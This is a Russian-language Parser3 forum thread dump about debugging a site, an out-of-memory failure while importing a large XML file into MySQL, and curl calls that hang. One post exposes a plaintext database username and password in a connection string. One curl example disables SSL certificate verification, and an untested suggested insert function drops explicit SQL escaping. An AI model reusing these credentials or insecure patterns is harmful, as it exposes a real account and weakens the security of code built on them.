(тем более, что на хостинге у вас все работает). Копать код, вставляя отладочный вывод скажем после каждого SQL запроса, чтобы понять, в какой именно момент происходит проблема. \
Вызвана проблема скорее всего или настройками (например база у вас залита не в windows-1251, а кодировка для работы с базой не указана) или несовместимостями между какими-нибудь \
библиотеками. Ну или давайте доступ или доводите ситуацию до _bug.html, который можно повторить на любом компьютере, тогда мы посмотрим."
"78376","Спасибо за ответ, MoKo.\
\
Я могу предоставить доступ через teamviewer, например. Буду благодарен."
"78377","Предпочел бы ssh (достаточно открыть его для IP адреса moko.at.design.ru), но не принципиально. Шлите доступ на moko@moko.ru. Нужен gdb, URL куда ходить, и файловый путь, где лежит сайт."
"78378","Необходимо три раза в сутки брать xml-файл со стороннего сервера в формате .gz и импортировать его в свою базу данных.\
\
Распаковываю я файл с помощью php, решения на парсере не нашёл:\
[code]$sfp = gzopen(\"http://www.test.ru/xml.gz\", \"rb\");\
$fp = fopen(\"stamm.xml\", \"w\");\
while ($string = gzread($sfp, 4096)) {\
        fwrite($fp, $string, strlen($string));\
}\
gzclose($sfp);\
fclose($fp);[/code]\
\
Далее у меня написан скрипт на парсере, который разбирает xml-файл и кладёт его в базу данных. На локальной машине скрипт работает, на сервере же происходит ошибка:\
[quote]out of memory: failed to allocate clean 3055 bytes. heap_used=36511744, heap_free=0, bytes_since_gc=106165084, total_bytes=106165084[/quote]\
Разбираемый xml-файл весит более 10мб. Каким способом его можно разобрать и положить в БД на сервере?\
\
Заранее спасибо!"
"78379","С этим можно и нужно «бороться». Поскольку вы не показали код, который разбирает xml'ь, то можно порекомендовать следующее: \
— Начните собирать мусор после того, как разберете очередной кусочек xml'я. Сейчас по ошибке видно, что вы вообще не освобождаете память — в Парсере это делается в ручном режиме. См. http://www.parser.ru/docs/lang/memorycompact.htm\
— Не стоит собирать мусор на каждой итерации цикла — это медленно. Лучше использовать сборку на «каждом десятом» (сотом, тысячном) шаге или воспользоваться другим интеллектуальным механизмом — http://www.parser.ru/examples/erusage/\
— Если массово используете xpath-выражения, то постарайтесь перейти на dom-методы. И памяти будете расходовать меньше и скорость разбора увеличится значительно.\
— Иногда возможно разобрать xml регулярными выражениями, но это стоит делать только если первые предыдущие пункты не помогли. (Что для 10 мегабайтного файла вряд ли возможно.)\
\
p.s. Для распаковки gz-файла из Паресера можно вызвать утилиту gunzip через file::exec. :)"
"78380","Спасибо за помощь! Начал экспериментировать с ^memory:compact[]. Удалось продвинуться дальше. Теперь скрипт выдаёт ошибку при обработке $accommodation. Я пытаюсь делать ^memory:compact[] чаще и получаю ошибку Internal Server Error. В логе вижу: Premature end of script headers: parser3.cgi\
\
В чём может быть проблема? Ниже я привёл xml файл и код для его разбора.\
\
Заранее спасибо!\
\
xml для разбора: http://www.snowtrex.de/xml/ru/stamm.xml.gz\
\
Код разборки:\
[code]$connectstring[mysql://***@localhost/db?charset=utf8]\
$db[dbname]\
^connect[$connectstring]{\
		^void:sql{TRUNCATE TABLE `room`}\
		^void:sql{TRUNCATE TABLE `accommodation`}\
		^void:sql{TRUNCATE TABLE `resort`}\
		^void:sql{TRUNCATE TABLE `region`}\
		^void:sql{TRUNCATE TABLE `state`}\
		^void:sql{TRUNCATE TABLE `country`}\
}\
$stamm[^xdoc::load[stamm.xml]]\
$countries[^stamm.select[/saisons/saison/countries/country]]\
^for[a](0;$countries-1){\
    $node[$countries.$a]\
	<h1>1. ^node.selectString[string(name)]</h1> <br/>\
	$str[^node.selectString[string(code)]]\
	^if($max_country < ^str.length[]){$max_country(^str.length[])}\
	^connect[$connectstring]{\
		^void:sql{INSERT INTO `$db`.`country` (`countryId`, `countryTimestamp`, `name`, `code`, `description`, `photo`, `skiareas_description`, `photo_skiareas`, `food_and_drink`, `photo_food`, `culture`, `photo_culture`, `deeplink`) VALUES (NULL, CURRENT_TIMESTAMP, '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(description)]]', '^taint[sql][^node.selectString[string(foto_country)]]', '^taint[sql][^node.selectString[string(skiareas)]]', '^taint[sql][^node.selectString[string(foto_skiareas)]]', '^taint[sql][^node.selectString[string(food_and_drink)]]', '^taint[sql][^node.selectString[string(foto_food)]]', '^taint[sql][^node.selectString[string(culture)]]', '^taint[sql][^node.selectString[string(foto_culture)]]', '^taint[sql][^node.selectString[string(deeplink_country)]]')}\
		$last_country_id(^string:sql{SELECT LAST_INSERT_ID()})\
	}\
	$states[^node.select[states/state]]\
	^for[b](0;$states-1){\
		$node[$states.$b]\
		<h2>+++ 2. ^node.selectString[string(name)]</h2> <br/>\
		$str[^node.selectString[string(code)]]\
		^if($max_state < ^str.length[]){$max_state(^str.length[])}\
		^connect[$connectstring]{\
			^void:sql{INSERT INTO `$db`.`state` (`stateId`, `name`, `code`, `stateTimestamp`, `countryId`) VALUES (NULL, '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', CURRENT_TIMESTAMP, '$last_country_id')}\
			$last_state_id(^string:sql{SELECT LAST_INSERT_ID()})\
		}\
		$regions[^node.select[regions/region]]\
		^for[c](0;$regions-1){\
			$node[$regions.$c]\
			<h3>+++ +++ 3. ^node.selectString[string(name)]</h3> <br/>\
			$str[^node.selectString[string(code)]]\
			^if($max_region < ^str.length[]){$max_region(^str.length[])}\
			^connect[$connectstring]{\
				^void:sql{INSERT INTO `$db`.`region` (`regionId`, `name`, `code`, `slopeplan`, `slopeplan_big`, `highest_point`, `lowest_point`, `description`, `cablelift`, `chairlift`, `cablecar`, `lifts_total`, `slopes_total`, `slopes_blue`, `slopes_red`, `slopes_black`, `regionTimestamp`, `stateId`) VALUES ('^taint[sql][^node.selectString[string(ID)]]', '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(slopeplan)]]', '^taint[sql][^node.selectString[string(slopeplan_big)]]', '^taint[sql][^node.selectString[string(highest_point)]]', '^taint[sql][^node.selectString[string(lowest_point)]]', '^taint[sql][^node.selectString[string(description)]]', '^taint[sql][^node.selectString[string(lifts/cablelift)]]', '^taint[sql][^node.selectString[string(lifts/chairlift)]]', '^taint[sql][^node.selectString[string(lifts/cablecar)]]', '^taint[sql][^node.selectString[string(lifts/total)]]', '^taint[sql][^node.selectString[string(slopes/slopes_total)]]', '^taint[sql][^node.selectString[string(slopes/slopes_blue)]]', '^taint[sql][^node.selectString[string(slopes/slopes_red)]]', '^taint[sql][^node.selectString[string(slopes/slopes_black)]]', CURRENT_TIMESTAMP, '$last_state_id')}\
				$last_region_id(^node.selectString[string(ID)])			\
			}\
			$resort[^node.select[resorts/resort]]\
			^for[d](0;$resort-1){\
				$node[$resort.$d]\
				<h4>+++ +++ +++ 4. ^node.selectString[string(name)]</h4> <br/>\
				$str[^node.selectString[string(code)]]\
				^if($max_resort < ^str.length[]){$max_resort(^str.length[])}\
				^connect[$connectstring]{\
					^void:sql{INSERT INTO `$db`.`resort` (`resortId`, `name`, `code`, `deeplink_housing`, `deeplink_skiing_region`, `deeplink_area`, `deeplink_apresski`, `deeplink_snow`, `deeplink_booking`, `slopeplan`, `slopeplan_big`, `highest_point`, `lowest_point`, `photo`, `apresski_description`, `apresski_foto`, `webcam1`, `webcam2`, `webcam3`, `webcam4`, `journey_bus`, `journey_train`, `journey_private`, `description`, `header`, `skiing_region_description`, `skiing_region_height`, `extension_ski_pass`, `plan`, `family_description`, `photo_workaday_life`, `saving`, `crosscountry`, `obligatory_costs_in_resort`, `important_information`, `available_in_resort`, `cablelift`, `chairlift`, `cablecar`, `lifts_total`, `slopes_total`, `slopes_blue`, `slopes_red`, `slopes_black`, `resortTimestamp`, `regionId`) VALUES ('^taint[sql][^node.selectString[string(ID)]]', '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(deeplink_housing)]]', '^taint[sql][^node.selectString[string(deeplink_skiing_region)]]', '^taint[sql][^node.selectString[string(deeplink_area)]]', '^taint[sql][^node.selectString[string(deeplink_apresski)]]', '^taint[sql][^node.selectString[string(deeplink_snow)]]', '^taint[sql][^node.selectString[string(deeplink_booking)]]', '^taint[sql][^node.selectString[string(slopeplan)]]', '^taint[sql][^node.selectString[string(slopeplan_big)]]', '^taint[sql][^node.selectString[string(highest_point)]]', '^taint[sql][^node.selectString[string(lowest_point)]]', '^taint[sql][^node.selectString[string(foto)]]', '^taint[sql][^node.selectString[string(apresski_description)]]', '^taint[sql][^node.selectString[string(apresski_foto)]]', '^taint[sql][^node.selectString[string(webcam1)]]', '^taint[sql][^node.selectString[string(webcam2)]]', '^taint[sql][^node.selectString[string(webcam3)]]', '^taint[sql][^node.selectString[string(webcam4)]]', '^taint[sql][^node.selectString[string(journey_bus/@value)]]', '^taint[sql][^node.selectString[string(journey_train/@value)]]', '^taint[sql][^node.selectString[string(journey_private/@value)]]', '^taint[sql][^node.selectString[string(description)]]', '^taint[sql][^node.selectString[string(header)]]', '^taint[sql][^node.selectString[string(skiing_region_description)]]', '^taint[sql][^node.selectString[string(skiing_region_height)]]', '^taint[sql][^node.selectString[string(extension_ski_pass)]]', '^taint[sql][^node.selectString[string(plan)]]', '^taint[sql][^node.selectString[string(family_description)]]', '^taint[sql][^node.selectString[string(foto_alt_tag)]]', '^taint[sql][^node.selectString[string(saving)]]', '^taint[sql][^node.selectString[string(crosscountry)]]', '^taint[sql][^node.selectString[string(obligatory_costs_in_resort)]]', '^taint[sql][^node.selectString[string(important_information)]]', '^taint[sql][^node.selectString[string(available_in_resort)]]', '^taint[sql][^node.selectString[string(lifts/cablelift)]]', '^taint[sql][^node.selectString[string(lifts/chairlift)]]', '^taint[sql][^node.selectString[string(lifts/cablecar)]]', '^taint[sql][^node.selectString[string(lifts/total)]]', '^taint[sql][^node.selectString[string(slopes/slopes_total)]]', '^taint[sql][^node.selectString[string(slopes/slopes_blue)]]', '^taint[sql][^node.selectString[string(slopes/slopes_red)]]', '^taint[sql][^node.selectString[string(slopes/slopes_black)]]', CURRENT_TIMESTAMP, '$last_region_id')}\
					$last_resort_id(^node.selectString[string(ID)])\
				}\
				$accommodation[^node.select[accomodations/accomodation]]\
				^for[e](0;$accommodation-1){\
					$node[$accommodation.$e]\
					<h5>+++ +++ +++ +++ 5. ^node.selectString[string(name)]</h5> <br/>\
					$str[^node.selectString[string(code)]]\
					^if($max_accommodation < ^str.length[]){$max_accommodation(^str.length[])}\
					^connect[$connectstring]{\
						^void:sql{INSERT INTO `$db`.`accommodation` (`accommodationId`, `name`, `code`, `deeplink_price`, `deeplink_pictures`, `deeplink_booking`, `price_description`, `extras`, `services`, `services2`, `holiday_extension`, `notes`, `journey_category`, `search_description`, `description`, `half-board`, `breakfast`, `chalet`, `nb_chalet`, `photo`, `nb_stars`, `nb_suns`, `accounting_code`, `agb`, `photo_workaday_life`, `pet`, `reduction`, `holidayinformation`, `distince_skiarea`, `accommodationTimestamp`, `resortId`) VALUES (^node.selectString[string(ID)], '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(deeplink_price)]]', '^taint[sql][^node.selectString[string(deeplink_pictures)]]', '^taint[sql][^node.selectString[string(deeplink_booking)]]', '^taint[sql][^node.selectString[string(price_description)]]', '^taint[sql][^node.selectString[string(extras)]]', '^taint[sql][^node.selectString[string(services)]]', '^taint[sql][^node.selectString[string(services2)]]', '^taint[sql][^node.selectString[string(holiday_extension)]]', '^taint[sql][^node.selectString[string(notes)]]', '^taint[sql][^node.selectString[string(journey_category)]]', '^taint[sql][^node.selectString[string(search_description)]]', '^taint[sql][^node.selectString[string(description)]]', '^taint[sql][^node.selectString[string(half-board/@value)]]', '^taint[sql][^node.selectString[string(breakfast/@value)]]', '^taint[sql][^node.selectString[string(chalet/@value)]]', '^taint[sql][^node.selectString[string(nb_chalet)]]', '^taint[sql][^node.selectString[string(foto)]]', '^taint[sql][^node.selectString[string(nb_stars)]]', '^taint[sql][^node.selectString[string(nb_suns)]]', '^taint[sql][^node.selectString[string(accounting_code)]]', '^taint[sql][^node.selectString[string(agb)]]', '^taint[sql][^node.selectString[string(foto_alt_tag)]]', '^taint[sql][^node.selectString[string(pet)]]', '^taint[sql][^node.selectString[string(reduction)]]', '^taint[sql][^node.selectString[string(holidayinformation)]]', '^taint[sql][^node.selectString[string(distince_skiarea)]]', CURRENT_TIMESTAMP, '$last_resort_id')}\
						$last_accommodation_id(^node.selectString[string(ID)])\
					}\
					$room[^node.select[rooms/room]]\
					^for[f](0;$room-1){\
						$node[$room.$f]\
						<h6>+++ +++ +++ +++ +++ 6. ^node.selectString[string(name)]</h6> <br/>\
						$str[^node.selectString[string(code)]]\
						^if($max_room < ^str.length[]){$max_room(^str.length[])}\
						^connect[$connectstring]{\
							^void:sql{INSERT INTO `$db`.`room` (`roomId`, `name`, `code`, `total_text`, `type`, `full_payment`, `foto_1`, `foto_2`, `foto_3`, `foto_1_big`, `foto_2_big`, `foto_3_big`, `ipix`, `ground_plan`, `accounting_code`, `max_pax`, `roomTimestamp`, `accommodationId`) VALUES (^node.selectString[string(ID)], '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(total_text)]]', '^taint[sql][^node.selectString[string(type)]]', '^taint[sql][^node.selectString[string(full_payment)]]', '^taint[sql][^node.selectString[string(foto_1)]]', '^taint[sql][^node.selectString[string(foto_2)]]', '^taint[sql][^node.selectString[string(foto_3)]]', '^taint[sql][^node.selectString[string(foto_1_big)]]', '^taint[sql][^node.selectString[string(foto_2_big)]]', '^taint[sql][^node.selectString[string(foto_3_big)]]', '^taint[sql][^node.selectString[string(ipix)]]', '^taint[sql][^node.selectString[string(ground_plan)]]', '^taint[sql][^node.selectString[string(accounting_code)]]', '^taint[sql][^node.selectString[string(max_pax)]]', CURRENT_TIMESTAMP, '$last_accommodation_id')}\
							$last_room_id(^node.selectString[string(ID)])\
						}\
					} <br/>\
				} <br/>\
			} <br/>\
		} <br/> ^memory:compact[]\
	} <br/>\
} <br/>\
[/code]"
"78381","Сразу видно, что у вас сплошные xpath-запросы (select, selectString и т.п.), да еще и повторяются они для одних и тех же данных по несколько раз — так вам никакой памяти не хватит. \
\
Чтобы найти узкое место надо пойти итерационно. Уберите все sql-запросы (складывайте результат в строку или хеш), отключайте по очереди вложенные конструкции и смотрите где вылезает проблема.\
\
p.s. Оператор connect можно поставить один на весь цикл разбора xml'я."
"78382","Спасибо за помощь. Я почистил код:\
[code]$connectstring[mysql://easyskir_new:mayrhofen@localhost/easyskir_new?charset=utf8]\
$db[easyskir_new]\
^connect[$connectstring]{\
	^void:sql{TRUNCATE TABLE `room`}\
	^void:sql{TRUNCATE TABLE `accommodation`}\
	^void:sql{TRUNCATE TABLE `resort`}\
	^void:sql{TRUNCATE TABLE `region`}\
	^void:sql{TRUNCATE TABLE `state`}\
	^void:sql{TRUNCATE TABLE `country`}\
	$stamm[^xdoc::load[stamm.xml]]\
	$countries[^stamm.select[/saisons/saison/countries/country]]\
	^for[a](0;$countries-1){\
	    $node[$countries.$a]\
		^void:sql{INSERT INTO `$db`.`country` (`countryId`, `countryTimestamp`, `name`, `code`, `description`, `photo`, `skiareas_description`, `photo_skiareas`, `food_and_drink`, `photo_food`, `culture`, `photo_culture`, `deeplink`) VALUES (NULL, CURRENT_TIMESTAMP, '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(description)]]', '^taint[sql][^node.selectString[string(foto_country)]]', '^taint[sql][^node.selectString[string(skiareas)]]', '^taint[sql][^node.selectString[string(foto_skiareas)]]', '^taint[sql][^node.selectString[string(food_and_drink)]]', '^taint[sql][^node.selectString[string(foto_food)]]', '^taint[sql][^node.selectString[string(culture)]]', '^taint[sql][^node.selectString[string(foto_culture)]]', '^taint[sql][^node.selectString[string(deeplink_country)]]')}\
		$last_country_id(^string:sql{SELECT LAST_INSERT_ID()})\
		$states[^node.select[states/state]]\
		^for[b](0;$states-1){\
			$node[$states.$b]\
			^void:sql{INSERT INTO `$db`.`state` (`stateId`, `name`, `code`, `stateTimestamp`, `countryId`) VALUES (NULL, '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', CURRENT_TIMESTAMP, '$last_country_id')}\
			$last_state_id(^string:sql{SELECT LAST_INSERT_ID()})\
			$regions[^node.select[regions/region]]\
			^for[c](0;$regions-1){\
				$node[$regions.$c]\
				^void:sql{INSERT INTO `$db`.`region` (`regionId`, `name`, `code`, `slopeplan`, `slopeplan_big`, `highest_point`, `lowest_point`, `description`, `cablelift`, `chairlift`, `cablecar`, `lifts_total`, `slopes_total`, `slopes_blue`, `slopes_red`, `slopes_black`, `regionTimestamp`, `stateId`) VALUES ('^taint[sql][^node.selectString[string(ID)]]', '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(slopeplan)]]', '^taint[sql][^node.selectString[string(slopeplan_big)]]', '^taint[sql][^node.selectString[string(highest_point)]]', '^taint[sql][^node.selectString[string(lowest_point)]]', '^taint[sql][^node.selectString[string(description)]]', '^taint[sql][^node.selectString[string(lifts/cablelift)]]', '^taint[sql][^node.selectString[string(lifts/chairlift)]]', '^taint[sql][^node.selectString[string(lifts/cablecar)]]', '^taint[sql][^node.selectString[string(lifts/total)]]', '^taint[sql][^node.selectString[string(slopes/slopes_total)]]', '^taint[sql][^node.selectString[string(slopes/slopes_blue)]]', '^taint[sql][^node.selectString[string(slopes/slopes_red)]]', '^taint[sql][^node.selectString[string(slopes/slopes_black)]]', CURRENT_TIMESTAMP, '$last_state_id')}\
				$last_region_id(^node.selectString[string(ID)])			\
				$resort[^node.select[resorts/resort]]\
				^for[d](0;$resort-1){\
					$node[$resort.$d]\
					^void:sql{INSERT INTO `$db`.`resort` (`resortId`, `name`, `code`, `deeplink_housing`, `deeplink_skiing_region`, `deeplink_area`, `deeplink_apresski`, `deeplink_snow`, `deeplink_booking`, `slopeplan`, `slopeplan_big`, `highest_point`, `lowest_point`, `photo`, `apresski_description`, `apresski_foto`, `webcam1`, `webcam2`, `webcam3`, `webcam4`, `journey_bus`, `journey_train`, `journey_private`, `description`, `header`, `skiing_region_description`, `skiing_region_height`, `extension_ski_pass`, `plan`, `family_description`, `photo_workaday_life`, `saving`, `crosscountry`, `obligatory_costs_in_resort`, `important_information`, `available_in_resort`, `cablelift`, `chairlift`, `cablecar`, `lifts_total`, `slopes_total`, `slopes_blue`, `slopes_red`, `slopes_black`, `resortTimestamp`, `regionId`) VALUES ('^taint[sql][^node.selectString[string(ID)]]', '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(deeplink_housing)]]', '^taint[sql][^node.selectString[string(deeplink_skiing_region)]]', '^taint[sql][^node.selectString[string(deeplink_area)]]', '^taint[sql][^node.selectString[string(deeplink_apresski)]]', '^taint[sql][^node.selectString[string(deeplink_snow)]]', '^taint[sql][^node.selectString[string(deeplink_booking)]]', '^taint[sql][^node.selectString[string(slopeplan)]]', '^taint[sql][^node.selectString[string(slopeplan_big)]]', '^taint[sql][^node.selectString[string(highest_point)]]', '^taint[sql][^node.selectString[string(lowest_point)]]', '^taint[sql][^node.selectString[string(foto)]]', '^taint[sql][^node.selectString[string(apresski_description)]]', '^taint[sql][^node.selectString[string(apresski_foto)]]', '^taint[sql][^node.selectString[string(webcam1)]]', '^taint[sql][^node.selectString[string(webcam2)]]', '^taint[sql][^node.selectString[string(webcam3)]]', '^taint[sql][^node.selectString[string(webcam4)]]', '^taint[sql][^node.selectString[string(journey_bus/@value)]]', '^taint[sql][^node.selectString[string(journey_train/@value)]]', '^taint[sql][^node.selectString[string(journey_private/@value)]]', '^taint[sql][^node.selectString[string(description)]]', '^taint[sql][^node.selectString[string(header)]]', '^taint[sql][^node.selectString[string(skiing_region_description)]]', '^taint[sql][^node.selectString[string(skiing_region_height)]]', '^taint[sql][^node.selectString[string(extension_ski_pass)]]', '^taint[sql][^node.selectString[string(plan)]]', '^taint[sql][^node.selectString[string(family_description)]]', '^taint[sql][^node.selectString[string(foto_alt_tag)]]', '^taint[sql][^node.selectString[string(saving)]]', '^taint[sql][^node.selectString[string(crosscountry)]]', '^taint[sql][^node.selectString[string(obligatory_costs_in_resort)]]', '^taint[sql][^node.selectString[string(important_information)]]', '^taint[sql][^node.selectString[string(available_in_resort)]]', '^taint[sql][^node.selectString[string(lifts/cablelift)]]', '^taint[sql][^node.selectString[string(lifts/chairlift)]]', '^taint[sql][^node.selectString[string(lifts/cablecar)]]', '^taint[sql][^node.selectString[string(lifts/total)]]', '^taint[sql][^node.selectString[string(slopes/slopes_total)]]', '^taint[sql][^node.selectString[string(slopes/slopes_blue)]]', '^taint[sql][^node.selectString[string(slopes/slopes_red)]]', '^taint[sql][^node.selectString[string(slopes/slopes_black)]]', CURRENT_TIMESTAMP, '$last_region_id')}\
					$last_resort_id(^node.selectString[string(ID)])\
					$accommodation[^node.select[accomodations/accomodation]]\
					^for[e](0;$accommodation-1){\
						$node[$accommodation.$e]\
						^void:sql{INSERT INTO `$db`.`accommodation` (`accommodationId`, `name`, `code`, `deeplink_price`, `deeplink_pictures`, `deeplink_booking`, `price_description`, `extras`, `services`, `services2`, `holiday_extension`, `notes`, `journey_category`, `search_description`, `description`, `half-board`, `breakfast`, `chalet`, `nb_chalet`, `photo`, `nb_stars`, `nb_suns`, `accounting_code`, `agb`, `photo_workaday_life`, `pet`, `reduction`, `holidayinformation`, `distince_skiarea`, `accommodationTimestamp`, `resortId`) VALUES (^node.selectString[string(ID)], '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(deeplink_price)]]', '^taint[sql][^node.selectString[string(deeplink_pictures)]]', '^taint[sql][^node.selectString[string(deeplink_booking)]]', '^taint[sql][^node.selectString[string(price_description)]]', '^taint[sql][^node.selectString[string(extras)]]', '^taint[sql][^node.selectString[string(services)]]', '^taint[sql][^node.selectString[string(services2)]]', '^taint[sql][^node.selectString[string(holiday_extension)]]', '^taint[sql][^node.selectString[string(notes)]]', '^taint[sql][^node.selectString[string(journey_category)]]', '^taint[sql][^node.selectString[string(search_description)]]', '^taint[sql][^node.selectString[string(description)]]', '^taint[sql][^node.selectString[string(half-board/@value)]]', '^taint[sql][^node.selectString[string(breakfast/@value)]]', '^taint[sql][^node.selectString[string(chalet/@value)]]', '^taint[sql][^node.selectString[string(nb_chalet)]]', '^taint[sql][^node.selectString[string(foto)]]', '^taint[sql][^node.selectString[string(nb_stars)]]', '^taint[sql][^node.selectString[string(nb_suns)]]', '^taint[sql][^node.selectString[string(accounting_code)]]', '^taint[sql][^node.selectString[string(agb)]]', '^taint[sql][^node.selectString[string(foto_alt_tag)]]', '^taint[sql][^node.selectString[string(pet)]]', '^taint[sql][^node.selectString[string(reduction)]]', '^taint[sql][^node.selectString[string(holidayinformation)]]', '^taint[sql][^node.selectString[string(distince_skiarea)]]', CURRENT_TIMESTAMP, '$last_resort_id')}\
						$last_accommodation_id(^node.selectString[string(ID)])\
						$room[^node.select[rooms/room]]\
						^for[f](0;$room-1){\
							$node[$room.$f]\
							^void:sql{INSERT INTO `$db`.`room` (`roomId`, `name`, `code`, `total_text`, `type`, `full_payment`, `foto_1`, `foto_2`, `foto_3`, `foto_1_big`, `foto_2_big`, `foto_3_big`, `ipix`, `ground_plan`, `accounting_code`, `max_pax`, `roomTimestamp`, `accommodationId`) VALUES (^node.selectString[string(ID)], '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(total_text)]]', '^taint[sql][^node.selectString[string(type)]]', '^taint[sql][^node.selectString[string(full_payment)]]', '^taint[sql][^node.selectString[string(foto_1)]]', '^taint[sql][^node.selectString[string(foto_2)]]', '^taint[sql][^node.selectString[string(foto_3)]]', '^taint[sql][^node.selectString[string(foto_1_big)]]', '^taint[sql][^node.selectString[string(foto_2_big)]]', '^taint[sql][^node.selectString[string(foto_3_big)]]', '^taint[sql][^node.selectString[string(ipix)]]', '^taint[sql][^node.selectString[string(ground_plan)]]', '^taint[sql][^node.selectString[string(accounting_code)]]', '^taint[sql][^node.selectString[string(max_pax)]]', CURRENT_TIMESTAMP, '$last_accommodation_id')}\
							$last_room_id(^node.selectString[string(ID)])\
						}\
					}\
				}\
			}\
		}\
	}\
}[/code]\
\
Проблема вылезает при заходе на этот цикл:\
[code]^for[d](0;$resort-1){[/code]\
\
Если перед этой строкой поставить ^memory:compact[], то помогает. Но далее на следующем цикле [code]^for[e](0;$accommodation-1){[/code] проблема повторяется. И если я пробую здесь поставить ^memory:compact[], то вылезает Internal Server Error: Premature end of script headers: parser3.cgi. Подскажите, пожалуйста, в какую сторону двигаться дальше?"
"78383","вот пример:\
\
[code]\
$room[^node.select[rooms/room]]\
^for[f](0;$room-1){\
	$node[$room.$f]\
	^void:sql{INSERT INTO `$db`.`room` (`roomId`, `name`, `code`, `total_text`, `type`, `full_payment`, `foto_1`, `foto_2`, `foto_3`, `foto_1_big`, `foto_2_big`, `foto_3_big`, `ipix`, `ground_plan`, `accounting_code`, `max_pax`, `roomTimestamp`, `accommodationId`) VALUES (^node.selectString[string(ID)], '^taint[sql][^node.selectString[string(name)]]', '^taint[sql][^node.selectString[string(code)]]', '^taint[sql][^node.selectString[string(total_text)]]', '^taint[sql][^node.selectString[string(type)]]', '^taint[sql][^node.selectString[string(full_payment)]]', '^taint[sql][^node.selectString[string(foto_1)]]', '^taint[sql][^node.selectString[string(foto_2)]]', '^taint[sql][^node.selectString[string(foto_3)]]', '^taint[sql][^node.selectString[string(foto_1_big)]]', '^taint[sql][^node.selectString[string(foto_2_big)]]', '^taint[sql][^node.selectString[string(foto_3_big)]]', '^taint[sql][^node.selectString[string(ipix)]]', '^taint[sql][^node.selectString[string(ground_plan)]]', '^taint[sql][^node.selectString[string(accounting_code)]]', '^taint[sql][^node.selectString[string(max_pax)]]', CURRENT_TIMESTAMP, '$last_accommodation_id')}\
}\
[/code]\
\
=>\
\
[code]\
^Node:foreachChild[$node;$.rooms(true);xRoomsNode;]{\
	^Node:foreachChild[$xRoomsNode;$.room(true);xRoomNode;]{\
		^self.insertRoom[^Node:foreachChild[$xRoomNode;;x;]{$.[$x.nodeName][$x.firstChild.nodeValue]}]\
	}\
}\
\
\
@insertRoom[h][result]\
^if($h){\
	^void:sql{INSERT INTO `$db`.`room` (\
		`roomId`, \
		`name`,\
		`code`,\
		`total_text`,\
		`type`,\
		`full_payment`,\
		`foto_1`,\
		`foto_2`,\
		`foto_3`,\
		`foto_1_big`,\
		`foto_2_big`,\
		`foto_3_big`,\
		`ipix`,\
		`ground_plan`,\
		`accounting_code`,\
		`max_pax`,\
		`roomTimestamp`,\
		`accommodationId`\
	) VALUES (\
		^h.ID.int(0),\
		'$h.name',\
		'$h.code',\
		'$h.total_text',\
		'$h.type',\
		'$h.full_payment',\
		'$h.foto_1',\
		'$h.foto_2',\
		'$h.foto_3',\
		'$h.foto_1_big',\
		'$h.foto_2_big',\
		'$h.foto_3_big',\
		'$h.ipix',\
		'$h.ground_plan',\
		'$h.accounting_code',\
		'$h.max_pax',\
		CURRENT_TIMESTAMP,\
		'$last_accommodation_id'\
	)}\
}\
[/code]\
\
лучше избавиться и от вызовов ^Node:foreachChild[] (это из моего [URL=http://www.parser.ru/examples/lib/]Node.p[/URL]), т.к. внутри него делаются лишние call-ы и ненужные в данном случае проверки.\
\
P.S. код не проверял\
P.P.S. ещё вариант (я бы, наверное, выбрал именно его): написать xsl-и, которые из этого xml-я сделают несколько csv файлов. а затем их загрузить в БД с помощью load data infile.\
P.P.P.S. ещё я, наверное, перед началом обработки делал-бы replace всех &#DDDD; на буквы. размер XML-я уменьшится с 10.5 МБ до 4.5 МБ."
"78384","После загрузки файла и создания xdoc посмотрите c помощью $status:memory, сколько памяти у вас остается до вашего лимита в 36Mb. Да, сам файл можно присвоить пустому значению и вызвать memory compact. Не исключено, что вам придется просить хостера увеличить лимит памяти - xdoc представление занимает памяти существенно больше, чем исходный xml.\
\
P.S. И экономить в вашем случае надо на всем, в частности в начало всех методов вставить $result[], чтобы из вывод игнорировался."
"78385","правда с тех пор много воды утекло: парсер стал расходовать меньше памяти, xml либа изменилась, да и не помню я уже, пытался-ли я пользоваться DOM методами для обхода дерева или нет."
"78387","Обнаружил странное поведение curl.\
\
Есть скрипт, в котором запрашивается файл с удалённого сервера:\
\
[code]\
			$f[^curl:load[\
				$.url[https://${serv}$src]\
				$.charset[utf-8]\
				$.mode[text]\
				$.useragent[parser3]\
				$.timeout(60)\
				$.failonerror(0)\
				$.post(1)\
				$.ssl_verifypeer(0)\
			]]\
[/code]\
\
В этом файле для теста ставим лог и запрашиваем аналогичным образом ещё один файл черзе курл, тоже через ssl.\
\
Во втором файле тоже ставим лог.\
\
В итоге всё умирает по таймауту 504, записи в логе появляются. Такое ощущение, что каждый последующий вызов curl ждёт пока отработает предыдущий.\
\
Может быть не углядел какую-то опцию у curl?"
"78388","504 выдает ваш сервер или удаленный? Если вы пробуете обратиться параллельно к одному и тому же сервису, то возможно, что проблема именно в сервисе. Например, есть ограничение на количество одновременных соединений с одного ip-адреса или сервис не очень шустрый и не успевает за 60 секунд ответить на ваш запрос. Может быть удаленный сервис перегружен. И т.д. и т.п.\
\
Если отключить лог проблема остается?"
"78389","Разные CGI процессы никак не знают о существовании друг друга. Так что проблема действительно скорее всего в ограничениях на стороне удаленного сервера, как предпологает sumo. Это легко проверить например пользуясь консольным curl и запустив одновременно два шелла."
